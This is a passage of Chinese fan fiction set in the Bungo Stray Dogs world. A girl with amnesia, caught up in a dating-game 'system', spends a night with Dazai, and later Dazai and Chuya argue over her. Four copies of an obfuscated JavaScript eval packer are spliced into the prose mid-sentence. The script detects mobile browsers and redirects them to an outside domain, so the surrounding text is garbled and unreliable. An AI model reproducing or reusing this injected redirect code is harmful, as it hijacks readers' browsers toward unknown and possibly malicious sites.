湿哒哒的头发黏在衬衣上,水汽凝结在屏幕上,又被他随意抹去,其实几分钟的冲洗已经足以洗去河道的气味,但太宰并不准备就此出去。 要在横滨的公民系统中找寻一个人,得知全名已经足够了,而以太宰现在的情报渠道,即使不存在于公民系统中的黑户,只要曾经出现在这个世界上,也足够他找寻到痕迹。 手机中的少女面无表情地把目光投向虚空中某处的交点,这是从沿河道的监控中截取的一张照片。 镭钵街中有很大一部分都是没有监控的地段,但不论从哪个的方位的监控中寻找,都没有找到少女进入其中的痕迹。 就好像她是凭空出现的那样。 太宰把这张照片也随着编辑好的短信发送出去,最后点了点屏幕中少女在灯光下照出绒毛的脸颊。 永末尚夏,想要用失忆来掩盖什么秘密,一定要做得干干净净,不要被抓到尾巴啊。 * 永末尚夏对此一无所知,她正在翻看新的游戏界面。 更新之后的游戏界面左侧是永末的大头照,右侧是卡牌的立绘,交相辉映有种隔空结婚的幽默感。 永末发现立绘并非一成不变,现在不知为何换成了脱掉外套靠着卡牌边框玩手机的姿势。 她多看了两眼,心说腰线不错。 右下方是任务列表和游戏记录,里边收录了已完成任务,她看到自己又完成了一个“初次交换姓名”的任务,价值10积分。 很遗憾没有找到存档读档键,看来只能一命通关了。 游戏记录里边留存了当前游戏的两张CG,永末不感兴趣地瞟了瞟,把注意投向了之前的游戏记录。 上一个游戏档名为“鬼灭之刃”,已经被清空了CG,只留下选择的攻略对象和结局描述。 【攻略对象:鬼王辻无惨,END:he·无间地狱。】 等等…!永末尚夏折回去看了一眼,确定这个结局标注的是he。 她心怀震撼地点开结局描述。 【he·无间地狱: 恶鬼对你说:我即天灾。遭遇了天灾,为什么还妄图反抗呢? 你对恶鬼说:玩家才是天灾。遭遇了天灾,为什么还妄图反抗呢? 你■■■■■了恶鬼。 你永远得到了他,现在你是唯一的天灾了。 你是独属于他的,无间地狱。】 永末尚夏:………… 她想不起来自己对这位可怜的攻略对象干了什么,但她决定原谅自己。 永末尚夏迅速翻页。 最后一页是积分商城。每日零点会刷新出三个不同的商品,其余时间想要刷新商品,就要额外花费10积分。 永末数了数,连任务带CG收录,目前一共获得的积分刚好是250,她打算把这个不吉利的数字直接花掉。 大概是第一次登录商城的奖励,货架上的商品都有着不小的折扣。 【新手大礼包:每开展新一局游戏,都会刷新在货架上的大礼包。 内含人物身份卡*1、随身杂物*n,通用货币*n。 备注: 每个世界只刷新一次、绝对物超所值的礼盒!旨在为玩家解决初期开局的一切问题! 检验非欧的时候到了,上一个欧皇玩家可是抽中了携带三瓶威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730854|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士忌的上升期酒厂呢! 性质:限定、盲盒。 所需积分:999(划掉),199!】 永末一时不知道应该该从哪里开始吐槽,说到底只有三瓶威士忌的酒厂这不是在倒闭边缘了吗……! 而且限定和盲盒,不管哪个描述,都显得这个礼包非常万恶之源吧! 话虽如此,从她贫瘠的游戏认知,新手礼包一般都不会特别坑人,而且限定……确实微妙地击中了她的购买欲。 她沉默地点击购买,到手后她又洗了遍手,便直接选择了使用。 新手大礼包在她的视野中化作灰白色的烟花,分散成三个白色的光点。 【等等!夏夏!你之前跟我说过,这些盲盒都是跟当天遇到的攻略对象强相关的!】电子音猝不及防,惊道。 攻略对象,洗澡的那个吗……跟港口mafia扯上关系,听起来确实不是什么好事的样子。 但现在也变不出来第二个攻略对象了吧。 永末尚夏还是对这个好像幽灵一样会突然在耳边出声的系统适应不良,“话说起来,我的运气怎么样?” 【……夏夏、夏夏的心理素质非常好,嗯,实、实力也很强的。】系统顿时支支吾吾起来。 ……要运气有实力吗?听起来不太妙啊。我难道是非酋吗? 她用意识靠近第一个光点,一张名字为永末尚夏的健康保险证落进她的手心,她瞟了一眼,年龄14周岁,照片也是正确的,看起来一切如常……先收进袖子里。 第二个光点是一部手机,黑色外壳,上边挂着一个御守,看起来很寻常的智能手机。 永末试了试,发现能正常开机,便暂时把注意投向了最后一个光点。 身份证件,已经收到了;杂物也已经抽中了,虽然只有一个,但是是手机这种贵重的东西,倒也算是弥补了数量上的不足;那么最后一个应该就是通用货币了吧。 ……倒也看不出来她的运气哪里糟糕啊,而且这个身份也看不出来跟黑手党存在什么关联。 永末尚夏怀着几分纳罕地对最后一个光点进行捕捞。 飘向她手心的,是一叠白纸。 ……通用货币这么简陋……永末尚夏的目光凝住了。 “…………”她缓缓收紧了手掌,把这叠白纸、或者说,这叠合同揉成一团。 系统跟着她的眼睛看清了合同上的字,虽然没有被强制噤声,现在也完全不再吱声。 高利贷……借款合同……粗粗一扫就有几百万的数额…… 永末尚夏平复了一下心情,缓缓展平这叠合同,她大概是第一个抽卡把自己抽到破产的玩家吧…… 现在退款退货还来不来得及?!就算不退款,直接退货也行啊!这个推荐标语完全就是诈骗吧?! 5. 第5章 等太宰出浴室的时候,就看到永末正以双目无神的状态在茶几边等待,而她的前方正放着一个贴有“折扣10%”、“盲盒”字样的粉色便当盒。 看起来非常正常……唯一的问题是,在他进入浴室的十几分钟里可以走到的哪家超市和便利店都没有这个类型的便当。 也就是说,这个东西跟眼前的少女一样,都是“凭空出现”的。 会是对人间失格的试探吗?那种摸一下就会刷地消失的异能产物? 太宰脸上显出故意的惊讶,他轻盈地绕到茶几的对座,非常自如地坐下了:“所以这个就是小夏小姐找到的夜宵吗?是什么?” 他有点难以克制自己的好奇心,即使明知可能是什么陷阱。 便当盒最外层的塑料壳已经被取下来了,锡纸的包装紧密贴合着内侧,以太宰的眼力看得出来,上边没有针孔和二次黏贴的痕迹,看起来确实是没有被开启过的。 不过就算里边多加了什么毒药也没有关系!倒不如说一想到有这个可能,太宰反而觉得心情更加轻松雀跃了。 永末艰难地被他的问题从微妙的沮丧中拉回来。 积分商城里边剩下的两个商品,一个是杂物类型的【便当盲盒】,备注是可以从中抽出任意一款美食,打完折只需要1积分。 另一个则是价值9999积分,看价格就买不起的特殊道具【残破的书页】,备注读起来也不明所以。 永末拍下了第一个,但在要拆开的时候中,她想起来自己刚刚抽出来的结果,情不自禁地被“会抽出什么地狱料理吗?要是打开变成鲱鱼罐头怎么办……”的可怕假设打击了。 “虽然理论上来说应该到手就已经确定是什么了……”永末慢吞吞地说道,看着眼前的人形大猫头发还湿着,就以跃跃欲试想摸一把毛球的姿态对着便当伸出手。 她于是也宽容道,“但是盲盒这种东西,不真的拆开就还是薛定谔的猫。” “回答就是我也不知道。太宰先生要亲自拆拆开吗?” “听起来很狡猾的回答,会是螃蟹吗?” 手指接触到锡纸,便当没有消失。 所以不是异能力的产物,所以是通过空间异能转移进来的实体……? “………”太宰撕开包装纸,辛辣的气息顺着缝隙游走出来了,也转瞬带去了他脸上的表情,他顿住了。 岩浆般地狱的颜色顺着肉块和米饭流淌下来,便当仿佛刚出锅一样腾起蒸汽,混合着火山口般致人于死地的变态辣度直蹿鼻腔。 这是一份单纯根据某人的口味调制出来的辣咖喱。 但现在厨子跟食客应该还未曾相遇,而一同来用餐的三位食客,有一位已经决心,永远都不会让那个只存在于记忆中的用餐时刻真实发生了。 这是一份……理论上不应该存在的料理。 永末敏锐地察觉到了异常,虽然跟前的人依然带着那种轻薄的笑意,但其中故作真实的部分,现在已经变成了完全的虚假。 他又开始用那种眼神看我了,那种仿佛已经在横滨公墓给我订了十套标准间的眼神。 她微妙地想,哦,盲盒跟攻略对象强相关,这条消息说不定是真的。 ……貌似又抽中了彻底的下下签。她随即又有点郁郁地想道。 “看起来不是你喜欢的夜宵。”永末说着又打量了一下太宰的表情,他已经没有再用之前那种表情看她,反而好像落进某个往昔的幻梦里。 他盯着咖喱浮想联翩的脸上,隐约有着抗拒、迟疑、如临大敌,但不知为何,他似乎在这样讨厌的心情下还准备强迫自己去尝试。 “我很喜欢哦。”太宰好像在极短的时间就自我调节好了,只是在语气中还残留着那种如在梦中的尾调。他否定道,“……不管因为什么理由你让这份东西出现。我都很喜欢哦。” 是吗,感觉如果在此处出现攻略弹窗三选项,我选的这个便当貌似是好感-100的那种。永末心说。 仿佛想要验证刚刚说的话,眼前的太宰伸出勺子,满面笑容,没有任何犹豫地对着咖喱下手了。 ……真是种让人莫名联想到服毒的利落呢。水末在心里吐槽了一句。 吃下去的人表情也没有多少变化,好像咖喱上艳丽的红色只是涂上去的色素,但永末很确信只是假象。 因为太宰很明显压根不怎么会吃辣,而且人类的生理反应根本不是想控制就能控制的。 他自己都没有发现自己眼圈开始变得有点红,亮闪闪的眼睛里边也泛起水光,嘴唇上沾过咖喱的部分也跟着变成了相同的绯色,好像跟谁刚刚接过吻那样微肿,舌头……等一下,再看下去就不礼貌了! “太宰先生不必勉强了,就算没人陪着吃,我自己也可以解决掉的。”永末收回视线,拿出了筷子。 看着便当中的赤红色,她一时也无法下手,甚至有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730855|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点怀疑自己吃了会不会就看不到明天的太阳了,短暂犹豫后,她一闭眼,把肉块送进嘴里,“而且就算你不假装不辣骗我,我也会吃的…咳咳咳……” 把沾染了咖喱的肉块送进舌头的瞬间是没有感觉的,嚼第一下第二下的时候也是没有感觉的……直到她“咕咚”咽了下去。 这是一种压过其他味道、却又不会立即发作,反而在咽下去之前,让人奇怪为什么没有其他调味的辣度。 永末“吧嗒”一声把筷子拍在桌上,捂住嘴唇缓了几秒钟,她感觉自己好像不小心吞下去一团火,张嘴呼吸就会让火焰再从喉咙里边冒出来,但很快她又觉得不呼吸自己就要被烤死了。 “还是一起吃吧。”永末憋出嘶哑的半句话,并且感觉舌头也跟着肿起来了,于是一声不吭地转去冰箱那边拿水。 冰水压住了口腔里边的痛觉,但其实忍过最开始的几波剧痛之后,反而会有种浑身通透的爽快感,不过开始的地狱体验已经足够让人望而却步了。 永末尚夏带着两杯冰水转回客厅,对着空了一半的便当盒和根本没喝水就硬生生咽下去好几口这份地狱辣的神人肃然起敬。 但是……她看了几秒之后,放下给对方的那份冰水,猛地攥住了太宰还想继续伸筷子的手,“够了。” 这并不是在进食……他只是在自我虐待。 被阻止之后转向她的那张脸,色调惨白中透着一种病态的红色,没有吹过的头发到现在还湿着,啊,这个说不定是被辣出来的。 如果剥去一些危险的气质,近在咫尺的这张脸还有没褪去的婴儿肥……这张脸上的神气,真的很像那种任性又聪明,没有自制力,也没怎么被人照料过,任由自己随波逐流的小孩子。 “咦?”没有自觉的人发出没有自觉的声音。 但是……她既在恋人的角色中对此有些触动,又非常清楚地理解,最好不要真的当真。 不然等到他随手将恋人的牌倒置的那天,现在贴近过多少,就会踏空摔下去多少。 永末尚夏目光平平地移向随着意念展开的游戏界面。 【当前攻略进度:3%】 【当前好感度:0】 哦,她还顺便完成了“初次同桌而食”的10积分任务。 “我想说……”永末牢牢地捉着他的手腕,跟随自己的心意说道,“这么吃是吃不死人的,你真的想要虐待自己,不如去吃钢钉算了。” 6. 第6章【增补】 被永末刺了一下的太宰,好像转瞬读出了什么,原本不知道游离在何方的神思回到了躯壳里,他有点惊讶地瞪圆了眼睛,因为五官的缘故,他做出这种表情看起来还是很可爱。 沉在痛苦中的人最好是迟钝的,但他似乎意外地敏感,那样不是就全部清楚地感觉到了吗? 不过现在的气氛倒是很适合谈心。永末跟太宰对视了几秒之后,突兀地理解了。 大概是刚刚太宰的反应也难得暴露出了一点真实,而她对别人的行为横加干涉这种事,冒昧得近似于在意对方了。 就好像虚无的空气中突然出现三个弹窗,打破一些常规距离、说一些不应该跟别人说的话,现在仿佛就是可以这么做的时刻。 但有一点,永末尚夏就算用脚趾思考也不会忽略。 单纯从他俩说话的水平,谁才是拉近距离、攻略人心的套路高手,这不是一目了然的事情吗? ……所以还是完全凭借自己的想法来吧。永末想,做完我想做的事情,其他不重要的部分也不必想通。 现在我想结束夜宵活动,把人赶去床上睡觉,为了避免枕头是湿的,在那之前得先给他吹个头发。 “欸——这是恋人该说的话吗?是小夏小姐邀请我一起吃夜宵,也是小夏小姐拿出来的这份咖喱……” 像是领悟了就算推下水杯也不会被惩罚的猫咪,他大声开始抱怨起来了,故意拉长的语气词听起来非常无辜: “明明我一直在体贴小夏小姐的想法,为什么要受到小夏小姐的指责……唔唔唔?” 倒打一耙的人说话的声音被止住了,他的两腮被永末伸出的手指挤压在了中间,永末像对待史莱姆一样捏了一把,把话语剩下的部分挤了出去。 “既然体贴我的想法,那么就再多做一点吧。”永末捏完,恍若无事发生地松开太宰,把便当盒关上,握在手中,干脆地略过了夜宵的话题,“我现在想给我的恋人吹头发。” “不要!小夏小姐,这样不公平。也该轮到小夏小姐体贴一下我的心意了~”太宰的目光追随着被她拿在手中的便当,他扭过身子,趴在椅背上看着她说道。 永末有点佩服他看什么都能含情脉脉的眼神,刚刚看便当盒的眼神比看她还要来得深情,她想到什么,拿出刚刚抽到的手机,打开屏幕。 “如果说要公平,那么来赌一把吧。” 太宰配合地伸长脑袋过来一起看去,“嗯?” 手机里边各色软件齐全,背景图片是可爱的卡通人物,line、短信和未接来电的软件都堆积满未读的消息,在手机屏幕的最底下,还有一只黑色毛团款式的电子桌宠蹦蹦跳跳。 一眼看过去就足够暴露手机主人的很多信息和偏好了,细节翔实,栩栩如生。 如果不是永末本人也是刚刚才把这张身份卡抽出来,她也得觉得是有这么一个活生生的女孩子存在了。 但现在她只是平静地划开最新一条弹出来的短信【救救爸爸,求求你了小夏,再救救爸爸,只有你能……】,在游戏软件里边随意挑选了一个手游打开,“赌一下十连抽卡的情况吧。” 在有节奏的音乐声中,她举着屏幕展示出来,指着赠送的第一波十连,“我们分别说一个抽出来的卡牌的情况,谁说的更接近谁算赢,赢的人可以提出一件对方很容易就可以做到的小事,输的人一定要听从。只限今晚。” “啊,如果要走真心话的模式也可以,问一个对方知道回答的问题,对方必须回答,也不能说谎。”好像又想起来什么,永末补充。 太宰在她操作手机的时候,一瞬不瞬地盯着她看,就好像她不是拿出手机,而是凭空掏出来一只妖怪,听到这里来了一点兴趣。 “欸……我还以为是要跟小夏小姐打一局游戏定输赢呢?这样不是完全交给运气了吗?小夏小姐的运气怎么样呢?”他微微眯了眯眼睛,好像从她的表情里边读出了什么,“我可以先听听,小夏小姐觉得抽出来的十连会是什么卡牌吗?” 永末尚夏不假思索,“全是n卡。” 太宰微微张大了眼睛,“欸?虽然对于这种游戏没什么了解,但初次抽取应该会有保底之类的机制哦。” 永末眨了眨眼睛,闻言流露出一点不明显的迷茫,好像因为失忆连这样的事都忘记了。 “我知道了!”他一合掌,语气甚至有点娇俏,“小夏小姐想白送我一个胜利对吗?那我赌,不全是n卡。” 这根本是1:10000的胜率了吧!永末用眼睛传递出那也太狡猾了的意思,而太宰则回以格外无辜的眼神。 “……”永末沉默了几秒,才愿赌服输般地去点击抽卡,但在她点中之前,太宰已经按了上去。 新卡牌的光晕立即堆满了屏幕,白光、白光、白光……十道如出一辙的白光缓缓浮现。 十连,n卡。这不可能是运气的问题了。 “……小夏小姐!好狡猾!”没有等到结果展示,太宰已经发出被骗了的呼声,很快又欣然地出声,“怎么做到的?这种程度已经绝对是出千了吧?” 永末按下锁屏,没有回答。 太宰透过漆黑屏幕的反光看见永末朝向他垂落的脸,那些被收敛过、不太明显的表情现在已经变成某种漠然的空无,就像是对着墙壁在提问一样。 如果是从一开始就摆出这张脸,恐怕就不会有人轻易参与赌局了。 但对方一反常态地提出打赌,又限定死了游戏的规则,其实本来就是出千的预告了。 知道这一点之后,其他的即兴表演就好像儿童汇演一样浅薄可爱。 输掉本身也是一种计策。提出的要求和问题,也会暴露提问者本身。 “那么小夏小姐,想要对我做什么呢?”太宰抬起脑袋,跟她对视,好像真的有所期待。 ……会提出什么呢? “我现在想给我的恋人吹头发。”永末尚夏用铜墙铁壁的表情这么说道。 ……微妙的失重感。太宰眨了眨眼。 “然后我想抱着我的恋人睡觉。”永末尚夏的目光平静地在他身上转了一圈,似乎在确认他的清洁程度,于是加以补充。 啊……就无聊的程度来说,这个选择真是一等一的无聊啊。 但这双眼睛里边,也没有任何跟迷恋和爱意沾边的东西。 明明刚刚面不改色地捏造了陷阱,现在说出的初衷又异常坦然。 这样倒是显得有意思起来了。 …… 于是十来分钟之后,永末抱着她新鲜出炉的人肉抱枕上了全新的床铺。 她可以打赌这上边从来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730856|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有睡过人,毕竟她连一根头发都没在缝隙中发现,按照之前玄关的清洁程度,就是是换过床单和枕头也不会这么干净的。 还挺乖巧的,答应了真的做到了。虽然过程中有一些其他的骚扰,但居然没有需要暴力压制的展开。 永末关上灯,在窗外透进来的月光里边神游天外,活人浅浅的呼吸声吹拂在她的额角。 太宰的头发在吹的时候就显得毛绒绒的,现在偶尔蹭过她的耳朵和脖子,会带来一些颇为异样的触感。 跟臆测中的感觉不同,永末感觉太宰抱起来的手感硬硬的,少年的皮肉过于单薄,以至于肋骨嶙峋地从里边长出来,就算加有一些绷带和衣服的阻隔,也把她的胸口顶得有点不舒服。 距离已经近到可以听见他的心跳声了,但永末既没有绮念,也没有亲密的感觉,连排斥的心情也没有。 ……好奇怪,感觉不应该这样的。 算了,至少感觉明天起床看系统,又会多几个任务完成,说不定能刷出新CG。 永末走神地想了一会,突然意识到太宰在故意吹她耳边散下来的头发玩,她用气声问道,“……不睡吗?” “……抱枕可以说话吗?”过了好一会,太宰才同样用气声回应,语气幽幽。 “抱枕不可以说话。”永末说,“但恋人可以吧。” “那么我睡不着,要跟我的恋人聊天。”太宰立即得寸进尺。 永末开始思考一些眼前这个人跟猫的共同点,白天不折腾就会晚上折腾,这对吗? “小夏小姐既没有地方住,也好像忘记了很多事情吧?之后有什么打算吗?” 居然是这么正经的问题。永末尚夏有点意外。 “有打算。”永末稍加思索,一些散乱的安排从脑海中闪过,锻炼身体恢复武力值,赚钱以日常生活,研究一下那个该死的借款和抽出来的谜之身份卡……要做的事情应有尽有,最麻烦的一件正被她抱在怀里呢。 于是她加以总结,“我想过普通的生活。” 谜之沉默。永末突然有点想看太宰现在的表情,但拥抱就是一种距离极近,却看不清对方模样的姿势。 “其实我想要小夏小姐……留在我的身边,就是说呢……一切我都可以替小姐处理好呢。”过了好一会,太宰才慢悠悠地说道。 “不管是遗忘的过去、现在的麻烦。”他意有所指地说道,永末大概知道是指之前那条短信的意思。 永末感觉到脊背被触碰了,人肉抱枕反过来伸手揽住她,太宰用柔软的声音继续说道,“还是吃穿用度、想实现的愿望……可以都交给我吗?” “……”永末尚夏有点不能理解。 这到底是谁在攻略谁啊?相遇第一天晚上,攻略对象说想把我的人生打包负责?! 而且明明……她打开系统看了一眼。 【当前好感度:1……0……2……5……0】好感度正在以肉眼很难分辨的速度上下蹦极,最后稳定了。 【当前好感度:0】 “不行。”永末尚夏决定放弃理解,果断拒绝,她翻了几次身,挣脱开了抱枕的束缚,“这跟我的恋爱观相违背。” 在滚到床榻另一侧一秒入睡之前,她补充道:“而且——软禁不需要说得这么温和的,太宰先生。” 7. 第7章 初夏时分,太阳稍显慵懒,不分善恶地把光芒撒满整个横滨。 不论是行走在挤满人群的商业街上的少年少女,还是隐藏在高楼广厦里边不轻易露面的mafia们,都平等地拥有这个温暖的午后。 就在这个下午,港口mafia总部,曾经被谁在内心吐槽过、醒目得好像等谁来一发天降正义的五栋大楼中,某个办公室的大门,被人一脚踹开了。 虽然这么形容,但其实更确凿的事实是,来人只是做出了踢的动作,大门就自发地好像遭遇了炮击一样崩开了。 偏向棕红、但本质上是橙色的卷发粗暴地被他归拢在脑后、跟天空同色的眼睛里满是压抑的恼怒,以及……被阳光拉长了、也不到一米六的影子,完全昭示了他的身份。 中原中也,曾经的“羊之王”、未来的重力使。不过他现在还只是隶属于红叶的直系武装部队成员。 中也双手插兜,看清里边的情况,哈了一声,“你藏在这里啊!混账青花鱼!” “翘班翘得很爽啊!知不知道你不写的报告都是谁在写!这次干脆连行动都没有跟完全程,直接半路上消失掉了结果窝在这里吗?!” 中也越说越感觉难以克制怒气,而被说的家伙好像个死人一样没有骨头地瘫在沙发上,脸上还盖着那本自杀手册,一副既没有长耳朵也没有长心的样子。 中也环顾四周,办公室内除开这家伙以外空无一人,显然是其他人纷纷对太宰退避三舍,而地上正巧落着不知道谁丢的半块橡皮,他目露不善地用鞋尖蹬了它一下,瞬时橡皮就带着气旋直往沙发上太宰的脸上奔去。全当做一个提醒。 在这样物理意义上的叫醒服务帮助下,赖在沙发上的那一瘫终于动起来了。 太宰先是顺势往沙发边上一侧躲开了这一击,又在接二连三飞过来的小玩意驱使下,宛如液体猫猫一样倒挂着从沙发上流到地毯上,简直让人错觉人类真的可以变成海藻:“听到了听到了,哪里来的小矮子,一闯进来就开始大叫。” 他轻佻的口吻宛如在逗路边的小狗,瞬间就把中原中也三成的怒火点到了五成。太宰把还贴在脸上的书拿了下来,只挡住半侧的脸,露出那双黑沉的眼睛。 中原中也被他的眼神哽住了,但随之而来的烦躁反而让他握紧了拳头。 又来了。又开始犯病了。 世界上也许真的有气场不合一说,中原中也第一次见到太宰就完全不对付。 而且最近几个月太宰好像突发恶疾,不知道哪里出了点毛病开始往死里坑他,给他的感觉就是突然变成了真的没有人心的怪物。 不,应该说有同事情存在一开始大概就是他的错觉吧。 这次的行动也是,他百忙之中从走私业务里边抽出手,跟据得到的线索带着直属部队过去那个据点,等待他的却并不是情报、物资、需要他动手清理的敌方人员……而是满屋子的炸药,差点被清理掉的反而变成他本人。 “反正那个地方也是障眼法。这次行动本来就不会有收获。”眼前的太宰还轻飘飘地说道,把中原中也带着一队人差点被埋在那个据点的事情也说得很轻浮。 “不过不用担心,最近动手的都是一些小角色哦,真正的大鱼还没有浮出水面。虽然森先生接受的是条烂船,但他不是把你挖上来一起修补了吗?所以港口黑手党还是能震慑一些牛鬼蛇神的。” “小矮子要是连这种体量的袭击都兜不住的话,那还是不要当mafia了。而且我也有自己的事情要忙。” 如果他的异能力稍微弱一点,跟他同去的那些部下就不可能活着回来。 再加上现在太宰言辞里边对首领的不尊重,这些都让中也没再忍下太宰的撩闲。 他不再小打小闹地做出提醒,而是动真格地猛地一记扫堂腿,把地毯上的太宰如同赶猫一样赶得蹿起来,之后中也目标明确地连续扫出十来脚,骗开太宰闪避的几记虚招之后,单凭体术上压倒性的实力,最后出拳就要直接掼在他的脸上。 但是……拳头在近在咫尺的时候停住了。 之前中也就觉得有哪里不对,失去了那本书的遮挡之后,一切更加清晰明了。中也半途改了拳势,一把揪住了他的领子。理论上这个姿势被控制的人可以被直接拉得双脚离地,很遗憾他们之间的身高差否定了这个可能性。 “你的嘴什么情况?”中也问,内心对于可能出现的联想万分抗拒。 “……哦这个吗?”太宰他好像知道警报解除那样,维持了被揪住领子的姿势,伸手摸了摸嘴唇。 上边是昨天夜宵的产物。现实其实跟他一路上走来、见到的人纷纷倒吸凉气的那个猜测完全不同。 言语间,他的眼前滑过昨天晚上的事情。 他想起来自己被拦住时,那双倒影出他的、平淡得宛如水面的瞳孔。 太宰当然读得出来,那片水面里边一圈圈荡开又迅速消弭的情感,存在和消失他都读得到,比眼睛的主人还要清楚。 那个瞬间没有真的“爱”诞生……虽然他还是没有得到后续的夜宵,甚至被按在床上吹了头发就是了。 不过这不妨碍他说:“这个就是你绝对不理解的事情了,小矮子。” “我恋爱了。”太宰无比真诚地宣告。 中原中也情不自禁地松开了手,“你……恋爱……?” 这个消息带给中也的震撼,宛如看到了猫长出了八块腹肌在红酒瓶上一边杂耍一边跳草裙舞。 这倒不是说事情过于离谱太宰做不出来,反而因为过于正常了让人觉得太宰做不出来! 主要他真的不觉得太宰有爱这个功能! “你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730857|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”太宰换上了热情洋溢的推销表情,在中也被冲击到懵了的表情里打开了手机,屏保就是一张大头贴脸照片。 照片中的少女五官细腻,神色冷淡,异常清晰地被摄入了镜头,属于看过就绝对不会认错的那种类型。 太宰兴趣盎然地摆弄着手机,从各种角度给中也展示起来,活像一个炫耀家猫的jk少女:“其实我给一路上遇到的人都看过了,结果不知道为什么才说了几分钟,大家都纷纷想起来有事要做,从办公室里边撤走了。” “哦对了,你被埋伏的那件事是港口黑手党里边有残余的卧底来着,这种小的蛀虫,不真实地有人被坑一次,就不会暴露出整条线的联络……我已经顺着开始清理了。” 似乎心情不错,很好心地解释起来,太宰把手搭在边上的办公桌上,用手指挑了一下上边的名片盒。 市浦雄真,印在名片上的是这样的名字。 他是港口黑手党里边串联情报的一个小情报员组长,对外也有还算清白的联络身份,在组织里不怎么起眼,但意外的人缘尚可。 也就在十几分钟前,他刚刚被太宰拉着强行炫耀过恋人的照片。 如果因为人缘好,事先得到什么清理内线的消息,选择从组织里边叛逃,又机缘巧合从武装部队手中逃走了,被港口黑手党通缉,走投无路之下,市浦雄真会报复主导这件事的他吗? 会选择从哪个切入点开始报复呢?会接触他看起来非常容易被控制、绑票的恋人吗? 只是非常随意的闲子,一步废物利用的棋子。 其实在大概几个月之前,因为某个原因,太宰用了各种渠道,找过所有名字里边带“尚夏”(なおか)的人。 结论是,不存在。哪里都没有他想找到那个人。 而太宰也保持了隔段时间就再找一回的习惯。一如既往的一无所获。 但就在昨天晚上,跟之前一模一样的搜索,他直接在国民档案信息库里边找到了永末尚夏的信息,就好像一直都在那里一样。 太宰看过了档案库里所有留下来的照片,从小到大的所有记录,字迹、照片、视频,看不出任何合成的痕迹。他甚至翘了班,实地去询问了跟她有过接触的活人……一切完美无瑕,连人间失格都没有反应。 不是异能力。是另外的,把“不可能”变成“可能”的力量。 想到这里,太宰散漫地准备收回手机,却没有立即拔动。 中原中也把手机按住了。在看见照片之后,他一直没吭声,直到现在才倏然抬起头来。 中也脸上的表情非常复杂,不可置信中带着难以言说的震动,震动之余甚至还有一点被侵犯了所有权的莫名保护欲: “……尚夏现在在跟你谈恋爱?!” “她离开羊之后,就是跑去跟你谈恋爱了?!” 8. 第8章 “唔……?”太宰看着眼前的中也,难得没有猜到会有这样的展开,新的线索就这样撞大运地出现了。 但是,不对。太宰思绪电转,瞬间意识到了其中的谬误。 “小矮子在说什么胡话呢,难道是出了一趟任务,被砸到头了吗?糟糕了,那样会不会更加影响身高。” 太宰故意地否定道,他做出气人的姿态简直是炉火纯青,或者其实他只是在呼吸就足够挑衅中也了。 “小夏不可能是‘羊’的成员吧,为了调查前代首领复活的事件,我可是特意查过关于‘羊’的情报,那个时候的‘羊’可没有永末尚夏这个人。” “羊”是擂钵街上的一个未成年自卫组织,聚集起其中的未成年少年少女,给予他们活下来的机会……虽然曾经成立时这么说,但其中的成员逐渐习惯于不劳而获,偷盗、抢夺,后期完全是在利用“羊之王”中原中也的异能力,才继续平安无事地存在下去了。 而这些也已经变成了过去式,就在大半年之前,中原中也被他们背叛刺伤后,不得不加入了港口mafia,作为回报,其他羊群的成员则在所处组织被剿灭后得以留下性命,现在被打散分布在横滨中,作为牵制住中也的锁链。 太宰很确定自己有调查过当时“羊”的所有成员,不过倒是没有深入到去研究几年前已经离开的人。 “都说了她那个时候已经离开了!如果……”提到在“羊”呆过的日子,中原中也的脸上滑过一丝灰暗。 如果她留到羊群投票背叛他的那个时候,会有什么不一样的结果吗? 事实已经发生,并且不会改变,倒不如在意一下眼前。 说到半途,中也骤然闭嘴,他以对于太宰来说非常新奇的敏锐直觉说道,“……你在套我话吗?太宰!” 跟这家伙谈恋爱,尚夏的眼光不至于这么糟糕吧! ……不会是被骗了吧?! “喂!太宰!你……”中原中也皱着眉头,不赞同地出声想说什么,却被太宰先一步打断了。 